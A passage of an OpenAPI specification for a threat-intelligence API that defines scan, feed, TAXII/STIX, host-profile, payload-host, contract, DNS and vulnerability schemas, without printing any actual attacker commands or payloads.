                      "cve": "CVE-2026-32475",
                      "remediation": "Update the WordPress Elementor Pro Plugin to the latest available version (at least 4.2.2).",
                      "patched": [
                        "4.2.2"
                      ]
                    }
                  ],
                  "vulnerabilitiesChecked": true,
                  "vulnerabilitiesPending": false,
                  "startedAt": "2026-10-08T01:00:00Z",
                  "durationMs": 61000,
                  "captureId": 1001,
                  "expiresAt": "2026-10-08T01:12:00Z"
                }
              }
            }
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "404": {
            "description": "No scan with this id for your account.",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/Error"
                },
                "example": {
                  "error": "Scan not found"
                }
              }
            }
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/scans/{id}/detail": {
      "get": {
        "tags": [
          "Scans"
        ],
        "operationId": "getScanDetail",
        "summary": "Get the full scan detail",
        "description": "Everything the portal scanner shows, as the scanner produces it: `URL`, `Pending`, `Error`, `ExpiresAt` and `Result` with `ThreatMatches`, `Commands`, `ClipboardWrites`, `RedirectChain`, `NetworkActivity`, `CapturedResponses`, `RuntimeStages`, `WordPress*`, `Cookies`, `ResponseHeaders`, `FrameEvents`, `Scan` and a PNG `ScreenshotBase64`. Field names follow the scanner and may gain fields; the summary route is the stable contract.",
        "parameters": [
          {
            "name": "id",
            "in": "path",
            "required": true,
            "description": "The scan id from `POST /v1/scans`.",
            "schema": {
              "type": "string",
              "pattern": "^[a-f0-9]{64}$"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "The scan as the scanner reports it.",
            "content": {
              "application/json": {
                "schema": {
                  "type": "object",
                  "additionalProperties": true
                }
              }
            }
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "404": {
            "description": "No scan with this id for your account.",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/Error"
                },
                "example": {
                  "error": "Scan not found"
                }
              }
            }
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/scans/{id}/responses/{sequence}": {
      "get": {
        "tags": [
          "Scans"
        ],
        "operationId": "downloadScanResponse",
        "summary": "Download a scanned response body",
        "description": "Downloads one archived response from the scan as an attachment. `sequence` is `Result.CapturedResponses[].Sequence` from the detail, for entries with `BodyAvailable`. Bodies can be live malicious code: handle them as samples.",
        "parameters": [
          {
            "name": "id",
            "in": "path",
            "required": true,
            "description": "The scan id from `POST /v1/scans`.",
            "schema": {
              "type": "string",
              "pattern": "^[a-f0-9]{64}$"
            }
          },
          {
            "name": "sequence",
            "in": "path",
            "required": true,
            "schema": {
              "type": "integer",
              "minimum": 1,
              "maximum": 100000
            }
          }
        ],
        "responses": {
          "200": {
            "description": "The response body.",
            "content": {
              "application/octet-stream": {
                "schema": {
                  "type": "string",
                  "format": "binary"
                }
              }
            }
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "404": {
            "description": "No such scan or response for your account.",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/Error"
                },
                "example": {
                  "error": "Response unavailable"
                }
              }
            }
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    }
  },
  "components": {
    "securitySchemes": {
      "apiKey": {
        "type": "http",
        "scheme": "bearer",
        "description": "An Ohey API key, `ohey_` followed by 43 characters."
      },
      "basicKey": {
        "type": "http",
        "scheme": "basic",
        "description": "For plain-text and TAXII clients: any or no username, with the Ohey API key as the password."
      }
    },
    "parameters": {
      "TaxiiCollectionId": {
        "name": "collectionId",
        "in": "path",
        "required": true,
        "description": "The Ohey feed collection ID.",
        "schema": {
          "type": "string",
          "enum": [
            "fb27d024-7b08-46cc-8870-c2f2e66de61f"
          ]
        }
      },
      "VulnerabilityCursor": {
        "name": "after",
        "in": "query",
        "description": "The `next` value from the previous page, or a date or timestamp to start after, for example `2026-10-01`.",
        "schema": {
          "type": "string"
        }
      }
    },
    "responses": {
      "400": {
        "description": "A parameter is invalid.",
        "content": {
          "application/json": {
            "schema": {
              "$ref": "#/components/schemas/Error"
            },
            "example": {
              "error": "Invalid parameters"
            }
          }
        }
      },
      "401": {
        "description": "The key is missing, revoked or its account is not TI.",
        "content": {
          "application/json": {
            "schema": {
              "$ref": "#/components/schemas/Error"
            },
            "example": {
              "error": "A valid API key is required",
              "docs": "https://ohey.ca/docs.md"
            }
          }
        }
      },
      "404": {
        "description": "The host is not in the feed.",
        "content": {
          "application/json": {
            "schema": {
              "$ref": "#/components/schemas/Error"
            },
            "example": {
              "error": "Host is not in the feed"
            }
          }
        }
      },
      "429": {
        "description": "Over 120 requests a minute for this key or address.",
        "content": {
          "application/json": {
            "schema": {
              "$ref": "#/components/schemas/Error"
            },
            "example": {
              "error": "Too many requests"
            }
          }
        }
      }
    },
    "schemas": {
      "Error": {
        "type": "object",
        "required": [
          "error"
        ],
        "properties": {
          "error": {
            "type": "string"
          },
          "docs": {
            "type": "string",
            "format": "uri",
            "description": "Where to read the API reference. Sent with 401, and with 404 for an unknown path."
          }
        }
      },
      "TaxiiError": {
        "type": "object",
        "required": [
          "title",
          "description"
        ],
        "properties": {
          "title": {
            "type": "string"
          },
          "description": {
            "type": "string"
          }
        }
      },
      "TaxiiDiscovery": {
        "type": "object",
        "required": [
          "title",
          "default",
          "api_roots"
        ],
        "properties": {
          "title": {
            "type": "string"
          },
          "description": {
            "type": "string"
          },
          "default": {
            "type": "string",
            "format": "uri"
          },
          "api_roots": {
            "type": "array",
            "items": {
              "type": "string",
              "format": "uri"
            }
          }
        }
      },
      "TaxiiRoot": {
        "type": "object",
        "required": [
          "title",
          "versions",
          "max_content_length"
        ],
        "properties": {
          "title": {
            "type": "string"
          },
          "description": {
            "type": "string"
          },
          "versions": {
            "type": "array",
            "items": {
              "type": "string"
            }
          },
          "max_content_length": {
            "type": "integer"
          }
        }
      },
      "TaxiiCollection": {
        "type": "object",
        "required": [
          "id",
          "title",
          "can_read",
          "can_write"
        ],
        "properties": {
          "id": {
            "type": "string"
          },
          "title": {
            "type": "string"
          },
          "description": {
            "type": "string"
          },
          "can_read": {
            "type": "boolean"
          },
          "can_write": {
            "type": "boolean"
          },
          "media_types": {
            "type": "array",
            "items": {
              "type": "string"
            }
          }
        }
      },
      "StixIndicator": {
        "type": "object",
        "required": [
          "type",
          "spec_version",
          "id",
          "created",
          "modified",
          "indicator_types",
          "pattern",
          "pattern_type",
          "valid_from"
        ],
        "properties": {
          "type": {
            "type": "string",
            "enum": [
              "indicator"
            ]
          },
          "spec_version": {
            "type": "string",
            "enum": [
              "2.1"
            ]
          },
          "id": {
            "type": "string"
          },
          "created": {
            "type": "string",
            "format": "date-time"
          },
          "modified": {
            "type": "string",
            "format": "date-time"
          },
          "revoked": {
            "type": "boolean"
          },
          "labels": {
            "type": "array",
            "items": {
              "type": "string"
            }
          },
          "indicator_types": {
            "type": "array",
            "items": {
              "type": "string",
              "enum": [
                "c2",
                "distribution"
              ]
            }
          },
          "pattern": {
            "type": "string"
          },
          "pattern_type": {
            "type": "string",
            "enum": [
              "stix"
            ]
          },
          "valid_from": {
            "type": "string",
            "format": "date-time"
          }
        }
      },
      "TaxiiEnvelope": {
        "type": "object",
        "properties": {
          "more": {
            "type": "boolean"
          },
          "next": {
            "type": "string"
          },
          "objects": {
            "type": "array",
            "items": {
              "$ref": "#/components/schemas/StixIndicator"
            }
          }
        }
      },
      "Indicator": {
        "type": "object",
        "description": "One host in the feed. Network fields hold the distinct values across the host's resolved IP addresses.",
        "required": [
          "host",
          "reason",
          "decidedBy"
        ],
        "properties": {
          "host": {
            "type": "string",
            "description": "Host name or IP address."
          },
          "reason": {
            "type": "string",
            "description": "One plain-language sentence naming the evidence that admitted the host. An analyst admission uses the analyst's acceptance note, with URLs and hostnames defanged."
          },
          "decidedBy": {
            "type": "string",
            "enum": [
              "automated",
              "analyst"
            ],
            "description": "Whether automation or an analyst admitted the host."
          },
          "feedTypes": {
            "type": "array",
            "items": {
              "type": "string"
            },
            "description": "`c2` or `distribution`."
          },
          "families": {
            "type": "array",
            "items": {
              "type": "string"
            },
            "description": "Malware families and campaigns."
          },
          "tags": {
            "type": "array",
            "items": {
              "type": "string"
            }
          },
          "infraTypes": {
            "type": "array",
            "items": {
              "type": "string"
            },
            "description": "Network type of each resolved IP, for example `hosting` or `isp`."
          },
          "countries": {
            "type": "array",
            "items": {
              "type": "string"
            },
            "description": "ISO country codes."
          },
          "asns": {
            "type": "array",
            "items": {
              "type": "integer"
            }
          },
          "asOrgs": {
            "type": "array",
            "items": {
              "type": "string"
            }
          },
          "resolvedIps": {
            "type": "array",
            "items": {
              "type": "string"
            }
          },
          "ports": {
            "type": "array",
            "items": {
              "type": "integer"
            }
          },
          "sha256Samples": {
            "type": "array",
            "items": {
              "type": "string"
            },
            "description": "Up to five related sample hashes."
          },
          "dnsStatus": {
            "anyOf": [
              {
                "type": "string",
                "description": "For example `live` or `nxdomain`."
              },
              {
                "type": "null"
              }
            ]
          },
          "passiveDnsHits": {
            "anyOf": [
              {
                "type": "integer"
              },
              {
                "type": "null"
              }
            ]
          },
          "trancoRank": {
            "anyOf": [
              {
                "type": "integer"
              },
              {
                "type": "null"
              }
            ]
          },
          "firstSeen": {
            "anyOf": [
              {
                "type": "string",
                "format": "date-time"
              },
              {
                "type": "null"
              }
            ]
          },
          "lastSeen": {
            "anyOf": [
              {
                "type": "string",
                "format": "date-time"
              },
              {
                "type": "null"
              }
            ]
          },
          "addedAt": {
            "type": "string",
            "format": "date-time",
            "description": "When the indicator was added to the feed."
          }
        }
      },
      "FeedHostChange": {
        "allOf": [
          {
            "type": "object",
            "required": [
              "change"
            ],
            "properties": {
              "change": {
                "type": "string",
                "enum": [
                  "added",
                  "changed"
                ],
                "description": "`added` when the host entered the feed after `since`; `changed` when it was already in the feed and its `feedTypes`, `families` or `tags` changed."
              }
            }
          },
          {
            "$ref": "#/components/schemas/Indicator"
          }
        ]
      },
      "Label": {
        "type": "object",
        "required": [
          "name",
          "hosts",
          "aliases"
        ],
        "properties": {
          "name": {
            "type": "string"
          },
          "hosts": {
            "type": "integer",
            "description": "Feed hosts that carry this family or tag."
          },
          "aliases": {
            "type": "array",
            "items": {
              "type": "string"
            },
            "description": "Other names the registry maps to this one, such as a family's old name after a rename or merge. A filter on an alias matches this label."
          }
        }
      },
      "RemovedHost": {
        "type": "object",
        "required": [
          "change",
          "host",
          "removedAt",
          "reason",
          "reasonCode",
          "decidedBy",
          "feedTypes",
          "families",
          "tags"
        ],
        "properties": {
          "change": {
            "type": "string",
            "enum": [
              "removed"
            ]
          },
          "host": {
            "type": "string"
          },
          "removedAt": {
            "type": "string",
            "format": "date-time",
            "description": "When the hourly build took the host out of the feed."
          },
          "reason": {
            "type": "string",
            "description": "The removal note, with links and domains defanged."
          },
          "reasonCode": {
            "type": "string",
            "enum": [
              "remediated",
              "legitimate",
              "generated",
              "alias",
              "malformed",
              "expired",
              "analyst"
            ],
            "description": "As on `Delisting`."
          },
          "decidedBy": {
            "type": "string",
            "enum": [
              "automated",
              "analyst"
            ]
          },
          "feedTypes": {
            "type": "array",
            "items": {
              "type": "string"
            }
          },
          "families": {
            "type": "array",
            "items": {
              "type": "string"
            },
            "description": "As the feed held them when the host left."
          },
          "tags": {
            "type": "array",
            "items": {
              "type": "string"
            },
            "description": "As the feed held them when the host left."
          }
        }
      },
      "Delisting": {
        "type": "object",
        "required": [
          "host",
          "status",
          "reason",
          "delistedAt",
          "everListed",
          "decidedBy",
          "reasonCode",
          "feedTypes"
        ],
        "properties": {
          "host": {
            "type": "string"
          },
          "status": {
            "type": "string",
            "enum": [
              "denied",
              "removed"
            ]
          },
          "reason": {
            "type": "string",
            "description": "The recorded note, with links and domains defanged (`hxxps://`, `example[.]com`)."
          },
          "delistedAt": {
            "type": "string",
            "format": "date-time"
          },
          "everListed": {
            "type": "boolean",
            "description": "True when transition history shows the host entered or left the accepted feed."
          },
          "decidedBy": {
            "type": "string",
            "enum": [
              "automated",
              "analyst"
            ],
            "description": "Whether an analyst or automation made this delisting decision. Analysts' bulk removals from the review queue count as `analyst`."
          },
          "reasonCode": {
            "type": "string",
            "enum": [
              "remediated",
              "legitimate",
              "generated",
              "alias",
              "malformed",
              "expired",
              "analyst"
            ],
            "description": "Stable machine-readable reason.\n\n- `remediated`: A current review found no malicious behaviour at the host.\n- `legitimate`: Review confirmed the host is a legitimate service.\n- `generated`: Malware generated the name without identifying operated threat infrastructure.\n- `alias`: The host was merged into its canonical apex or exact `www` decision.\n- `malformed`: The value is not a valid host or IP indicator.\n- `expired`: The IP had no evidence for 30 days; IP listings expire.\n- `analyst`: An analyst reviewed this host individually; `reason` holds the detail."
          },
          "feedTypes": {
            "type": "array",
            "items": {
              "type": "string"
            },
            "description": "Feed classifications recorded at the delisting transition."
          }
        }
      },
      "HostProfile": {
        "type": "object",
        "required": [
          "host",
          "indicator",
          "vulnerabilities",
          "captures",
          "dns",
          "commands",
          "contracts",
          "sites"
        ],
        "properties": {
          "host": {
            "type": "string"
          },
          "indicator": {
            "$ref": "#/components/schemas/Indicator"
          },
          "vulnerabilities": {
            "type": "array",
            "items": {
              "$ref": "#/components/schemas/SoftwareFinding"
            },
            "description": "Affected software found in the latest capture."
          },
          "captures": {
            "type": "object",
            "properties": {
              "count": {
                "type": "integer"
              },
              "firstAt": {
                "anyOf": [
                  {
                    "type": "string",
                    "format": "date-time"
                  },
                  {
                    "type": "null"
                  }
                ]
              },
              "latestAt": {
                "anyOf": [
                  {
                    "type": "string",
                    "format": "date-time"
                  },
                  {
                    "type": "null"
                  }
                ]
              },
              "rules": {
                "type": "array",
                "items": {
                  "type": "string"
                },
                "description": "YARA rules that matched any of the captures."
              }
            }
          },
          "dns": {
            "type": "array",
            "description": "The latest DNS answer.",
            "items": {
              "type": "object",
              "properties": {
                "name": {
                  "type": "string"
                },
                "type": {
                  "type": "string",
                  "description": "Record type, for example `A`, `MX` or `NS`."
                },
                "section": {
                  "type": "string",
                  "enum": [
                    "answer",
                    "authority",
                    "additional"
                  ]
                },
                "values": {
                  "type": "array",
                  "items": {
                    "type": "string"
                  }
                },
                "ttl": {
                  "type": "integer"
                },
                "checkedAt": {
                  "type": "string",
                  "format": "date-time"
                }
              }
            }
          },
          "commands": {
            "type": "array",
            "description": "Up to 20 lure commands captured on this host, newest first, exactly as copied. These are live attacker commands.",
            "items": {
              "type": "object",
              "required": [
                "command",
                "urls",
                "seenAt"
              ],
              "properties": {
                "command": {
                  "type": "string"
                },
                "urls": {
                  "type": "array",
                  "items": {
                    "type": "string"
                  },
                  "description": "Payload URLs decoded from the command."
                },
                "seenAt": {
                  "type": "string",
                  "format": "date-time"
                }
              }
            }
          },
          "contracts": {
            "type": "array",
            "description": "Up to 20 smart contracts this host's captured page called, newest first.",
            "items": {
              "type": "object",
              "required": [
                "address",
                "selector",
                "chain",
                "kit",
                "seenAt"
              ],
              "properties": {
                "address": {
                  "type": "string"
                },
                "selector": {
                  "type": "string"
                },
                "chain": {
                  "anyOf": [
                    {
                      "type": "string"
                    },
                    {
                      "type": "null"
                    }
                  ],
                  "description": "`null` for a contract Ohey does not read daily."
                },
                "kit": {
                  "anyOf": [
                    {
                      "type": "string"
                    },
                    {
                      "type": "null"
                    }
                  ]
                },
                "seenAt": {
                  "type": "string",
                  "format": "date-time"
                }
              }
            }
          },
          "sites": {
            "type": "array",
            "description": "Up to 100 feed hosts whose captured lure command downloads from this host, newest first.",
            "items": {
              "type": "object",
              "required": [
                "host",
                "seenAt"
              ],
              "properties": {
                "host": {
                  "type": "string"
                },
                "seenAt": {
                  "type": "string",
                  "format": "date-time"
                }
              }
            }
          }
        }
      },
      "PayloadHost": {
        "type": "object",
        "required": [
          "host",
          "kits",
          "sites",
          "urls",
          "firstSeen",
          "lastSeen",
          "url",
          "command"
        ],
        "properties": {
          "host": {
            "type": "string",
            "description": "The payload host. `*.domain` when the domain hands out a new subdomain on every visit."
          },
          "kits": {
            "type": "array",
            "items": {
              "type": "string"
            },
            "description": "Kits on at least half the sites whose command used this host."
          },
          "sites": {
            "type": "integer",
            "description": "Sites whose captured command used this host."
          },
          "urls": {
            "type": "integer",
            "description": "Distinct payload URLs on this host."
          },
          "firstSeen": {
            "type": "string",
            "format": "date"
          },
          "lastSeen": {
            "type": "string",
            "format": "date"
          },
          "url": {
            "type": "string",
            "description": "The latest payload URL."
          },
          "command": {
            "type": "string",
            "description": "The latest command, as captured."
          }
        }
      },
      "Contract": {
        "type": "object",
        "required": [
          "chain",
          "chainId",
          "address",
          "kit",
          "destinations",
          "nextHops",
          "firstSeen",
          "lastRead",
          "sites",
          "lastChanged",
          "history"
        ],
        "properties": {
          "chain": {
            "type": "string"
          },
          "chainId": {
            "type": "integer"
          },
          "address": {
            "type": "string",
            "description": "Lowercase."
          },
          "kit": {
            "type": "string"
          },
          "destinations": {
            "type": "array",
            "items": {
              "type": "string"
            },
            "description": "Hosts the contract returns now."
          },
          "nextHops": {
            "type": "array",
            "items": {
              "type": "string"
            },
            "description": "Contracts this one points to instead of a host."
          },
          "noDestination": {
            "type": "string",
            "enum": [
              "flag",
              "no-code",
              "empty",
              "no-host"
            ],
            "description": "Present when the latest read held no host: `flag` is a yes/no check the lure reads, `no-code` means no contract is deployed at the address, `empty` that its stored value is empty, `no-host` that it returns text with no host in it."
          },
          "firstSeen": {
            "type": "string",
            "format": "date"
          },
          "lastRead": {
            "type": "string",
            "format": "date"
          },
          "sites": {
            "type": "integer",
            "description": "Feed hosts whose captured page called this contract."
          },
          "lastChanged": {
            "type": "string",
            "description": "The day its destination last changed; empty before the snapshot has the contract."
          },
          "history": {
            "type": "array",
            "description": "Every destination it has returned.",
            "items": {
              "type": "object",
              "required": [
                "destination",
                "firstSeen",
                "lastSeen"
              ],
              "properties": {
                "destination": {
                  "type": "string"
                },
                "firstSeen": {
                  "type": "string",
                  "format": "date"
                },
                "lastSeen": {
                  "type": "string",
                  "format": "date"
                }
              }
            }
          }
        }
      },
      "DnsName": {
        "type": "object",
        "required": [
          "name",
          "kit",
          "state",
          "destinations",
          "firstSeen",
          "lastRead",
          "lastChanged",
          "history"
        ],
        "properties": {
          "name": {
            "type": "string",
            "description": "The TXT name the kit looks up."
          },
          "kit": {
            "type": "string"
          },
          "state": {
            "type": "string",
            "enum": [
              "resolved",
              "nxdomain",
              "sentinel",
              "error"
            ],
            "description": "The latest read: `resolved` named a host, `nxdomain` found no such name, `sentinel` returned a placeholder that names no host, `error` failed to read."
          },
          "destinations": {
            "type": "array",
            "items": {
              "type": "string"
            },
            "description": "Hosts the record names now."
          },
          "firstSeen": {
            "type": "string",
            "description": "The day it first named a host; empty if it never has."
          },
          "lastRead": {
            "type": "string",
            "format": "date"
          },
          "lastChanged": {
            "type": "string",
            "description": "The day the hosts it names last changed; empty if it never named one."
          },
          "history": {
            "type": "array",
            "description": "Every host it has named.",
            "items": {
              "type": "object",
              "required": [
                "destination",
                "firstSeen",
                "lastSeen"
              ],
              "properties": {
                "destination": {
                  "type": "string"
                },
                "firstSeen": {
                  "type": "string",
                  "format": "date"
                },
                "lastSeen": {
                  "type": "string",
                  "format": "date"
                }
              }
            }
          }
        }
      },
      "SoftwareFinding": {
        "type": "object",
        "required": [
          "component",
          "version",
          "title"
        ],
        "properties": {
          "component": {
            "type": "string"
          },
          "version": {
            "type": "string"
          },
          "title": {
            "type": "string"
          },
          "cve": {
            "type": "string"
          },
          "remediation": {
            "type": "string"
          },
          "patched": {
            "type": "array",
            "items": {
              "type": "string"
            }
          }
        }
      },
      "Capture": {
        "type": "object",
        "required": [
          "id",
          "startedAt",
          "responses"
        ],
        "properties": {
          "id": {
            "type": "integer"
          },
          "startedAt": {
            "type": "string",
            "format": "date-time"
          },
          "inputUrl": {
            "type": "string"
          },
          "finalUrl": {
            "type": "string"
          },
          "httpStatus": {
            "type": "integer"
          },
          "rules": {
            "type": "array",
            "items": {
              "type": "object",
              "properties": {
                "name": {
                  "type": "string"
                },
                "description": {
                  "type": "string"
                }
              }
            }
          },
          "commands": {
            "type": "array",
            "items": {
              "type": "string"
            },
            "description": "Lure commands extracted from the page."
          },
          "responses": {
            "type": "array",
            "description": "Downloadable responses.",
            "items": {
              "type": "object",
              "properties": {
                "seq": {
                  "type": "integer"
                },
                "url": {
                  "type": "string"
                },
                "type": {
                  "type": "string",
                  "enum": [
                    "Script",
                    "Document"
                  ]
                },
                "httpStatus": {
                  "type": "integer"
                },
                "sha256": {
                  "type": "string"
                }
              }
            }
          }
        }
      },
      "VulnerabilityPage": {
        "type": "object",
        "required": [
          "data",
          "next"
        ],
        "properties": {
          "data": {
            "type": "array",
            "items": {
              "$ref": "#/components/schemas/Vulnerability"
            }
          },
          "next": {
            "anyOf": [
              {
                "type": "string"
              },
              {
                "type": "null"
              }
            ]
          }
        }
      },
      "Vulnerability": {
        "type": "object",
        "required": [
          "id",
          "published",
          "products",
          "cvss",
          "epss",
          "kev",
          "exploited"
        ],
        "properties": {
          "id": {
            "type": "string"
          },
          "published": {
            "type": "string",
            "format": "date-time"
          },
          "updated": {
            "type": "string",
            "format": "date-time"
          },
          "title": {
            "type": "string"
          },
          "description": {
            "type": "string"
          },
          "assigner": {
            "type": "string"
          },
          "products": {
            "type": "array",
            "items": {
              "type": "object",
              "properties": {
                "vendor": {
                  "type": "string"
                },
                "product": {
                  "type": "string"
                }
              }
            }
          },
          "cvss": {
            "anyOf": [
              {
                "type": "object",
                "description": "The CNA's score when it publishes one, then CISA's, then NVD's.",
                "properties": {
                  "score": {
                    "type": "number"
                  },
                  "severity": {
                    "type": "string"
                  },
                  "version": {
                    "type": "string"
                  },
                  "source": {
                    "type": "string"
                  },
                  "vector": {
                    "type": "string"
                  }
                }
              },
              {
                "type": "null"
              }
            ]
          },
          "epss": {
            "anyOf": [
              {
                "type": "object",
                "properties": {
                  "score": {
                    "type": "number"
                  },
                  "percentile": {
                    "type": "number"
                  },
                  "date": {
                    "type": "string"
                  }
                }
              },
              {
                "type": "null"
              }
            ]
          },
          "kev": {
            "anyOf": [
              {
                "type": "object",
                "description": "CISA Known Exploited Vulnerabilities entry.",
                "properties": {
                  "added": {
                    "type": "string"
                  },
                  "due": {
                    "type": "string"
                  },
                  "ransomware": {
                    "type": "boolean"
                  }
                }
              },
              {
                "type": "null"
              }
            ]
          },
          "exploited": {
            "type": "boolean",
            "description": "CISA's assessment of active exploitation."
          },
          "wordpress": {
            "type": "array",
            "description": "On the WordPress list, and on a single CVE that affects WordPress; absent otherwise. To decide what to do for an installed version: find its component, test the version against `ranges`; if it falls inside one and `directory` is `closed`, remove the component; otherwise update to the highest `fixed` the ranges state, or to `current` when that release falls outside every range. `current` is null for components the directory does not list.",
            "items": {
              "$ref": "#/components/schemas/WordPressComponent"
            }
          }
        }
      },
      "WordPressComponent": {
        "type": "object",
        "required": [
          "component",
          "current",
          "directory",
          "ranges"
        ],
        "properties": {
          "component": {
            "type": "string",
            "description": "`plugin:<slug>`, `theme:<slug>` or `core:wordpress`."
          },
          "current": {
            "anyOf": [
              {
                "type": "string",
                "description": "The release wordpress.org lists today, for core the current WordPress release; null when the entry has no parseable version."
              },
              {
                "type": "null"
              }
            ]
          },
          "directory": {
            "type": "string",
            "enum": [
              "open",
              "closed",
              "absent"
            ],
            "description": "`open`: listed in the directory. `closed`: wordpress.org closed it, so no further fixes will come. `absent`: not in the directory."
          },
          "ranges": {
            "type": "array",
            "items": {
              "type": "object",
              "description": "Either `from` and `to` (exclusive unless `fromExclusive` or `toInclusive` say otherwise; no `from` means from the first version) or one `exact` version, and the first `fixed` version.",
              "properties": {
                "from": {
                  "type": "string"
                },
                "fromExclusive": {
                  "type": "boolean"
                },
                "to": {
                  "type": "string"
                },
                "toInclusive": {
                  "type": "boolean"
                },
                "exact": {
                  "type": "string"
                },
                "fixed": {
                  "type": "string"
                },
                "fixedInferred": {
                  "type": "boolean",
                  "description": "The fix is implied by the exclusive upper bound rather than stated by the source."
                }
              }
            }
          }
        }
      },
      "ScanResult": {
        "type": "object",
        "required": [
          "id",
          "url",
          "status"
        ],
        "description": "While `status` is `pending` only `id`, `url` and `status` are present; when `failed`, `error` and `expiresAt` are added. Empty values are omitted.",
        "properties": {
          "id": {
            "type": "string"
          },
          "url": {
            "type": "string"
          },
          "status": {
            "type": "string",
            "enum": [
              "pending",
              "complete",
              "failed"
            ]
          },
          "error": {
            "type": "string",
            "description": "Why the scan failed, or a scan-level note on a complete scan."
          },
          "finalUrl": {
            "type": "string"
          },
          "httpStatus": {
            "type": "integer"
          },
          "outcome": {
            "type": "string",
            "enum": [
              "confirmed",
              "clean",
              "http_error",
              "error"
            ]
          },
          "malicious": {
            "type": "boolean",
            "description": "`outcome` is `confirmed`."
          },
          "families": {
            "type": "array",
            "items": {
              "type": "string"
            }
          },
          "tags": {
            "type": "array",
            "items": {
              "type": "string"
            },
            "description": "The same labels the feed uses, derived from the hits."
          },
          "campaigns": {
            "type": "array",
            "items": {
              "type": "string"
            }
          },
          "hits": {
            "type": "array",
            "items": {
              "type": "object",
              "properties": {
                "rule": {
                  "type": "string"
                },
                "alert": {
                  "type": "string"
                },
                "description": {
                  "type": "string"
                },
                "family": {
                  "type": "string"
                },
                "siteRole": {
                  "type": "string"
                },
                "severity": {
                  "type": "string"
                },
                "tags": {
                  "type": "array",
                  "items": {
                    "type": "string"
                  }
                },
                "urls": {
                  "type": "array",
                  "items": {
                    "type": "string"
                  }
                }
              }
            }
          },
          "commands": {
            "type": "array",
            "items": {
              "type": "object",
              "properties": {
                "command": {
                  "type": "string"
                },
                "urls": {
                  "type": "array",
                  "items": {
                    "type": "string"
                  }
                },
                "rule": {
                  "type": "string"
                },
                "foundIn": {
                  "type": "string"
                }
              }
            }
          },
          "clipboardWrites": {
            "type": "array",
            "items": {
              "type": "object",
              "properties": {
                "origin": {
                  "type": "string"
                },
                "text": {
                  "type": "string"
                },
                "decodedUrls": {
                  "type": "array",
                  "items": {
                    "type": "string"
                  }
                },
                "truncated": {
                  "type": "boolean"
                }
              }
            }
          },
          "c2": {
            "type": "array",
            "description": "Suspected command and control hosts the page contacted.",
            "items": {
              "type": "object",
              "properties": {
                "host": {
                  "type": "string"
                },
                "ports": {
                  "type": "array",
                  "items": {
                    "type": "integer"
                  }
                },
                "commandUrls": {
                  "type": "array",
                  "items": {
                    "type": "string"
                  }
                },
                "inFeed": {
                  "type": "boolean"
                },
                "families": {
                  "type": "array",
                  "items": {
                    "type": "string"
                  }
                },
                "tags": {
                  "type": "array",
                  "items": {
                    "type": "string"
                  }
                }
              }
            }
          },
          "vulnerabilities": {
            "type": "array",
            "items": {
              "$ref": "#/components/schemas/SoftwareFinding"
            }
          },
          "vulnerabilitiesChecked": {
            "type": "boolean"
          },
          "vulnerabilitiesPending": {
            "type": "boolean",
            "description": "The software check had not finished when the scan completed."
          },
          "vulnerabilitiesError": {
            "type": "string"
          },
          "startedAt": {
            "type": "string",
            "format": "date-time"
          },
          "durationMs": {
            "type": "integer"
          },
          "incomplete": {
            "type": "string",
            "description": "Why the capture was cut short, when it was."
          },
          "captureId": {
            "type": "integer",
            "description": "The archived capture; its host appears under `/v1/hosts/{host}/captures` once in the feed."
          },
          "expiresAt": {
            "type": "string",
            "format": "date-time",
            "description": "When the result is dropped."
          }
        }
      },
      "SourceRecord": {
        "type": "object",
        "required": [
          "source",
          "id",
          "url",
          "record"
        ],
        "properties": {
          "source": {
            "type": "string"
          },
          "id": {
            "type": "string"
          },
          "url": {
            "type": "string"
          },
          "modifiedAt": {
            "anyOf": [
              {
                "type": "string",
                "format": "date-time"
              },
              {
                "type": "null"
              }
            ]
          },
          "record": {
            "type": "object",
            "description": "The record as published by its source."
          }
        }
      }
    }
  }
}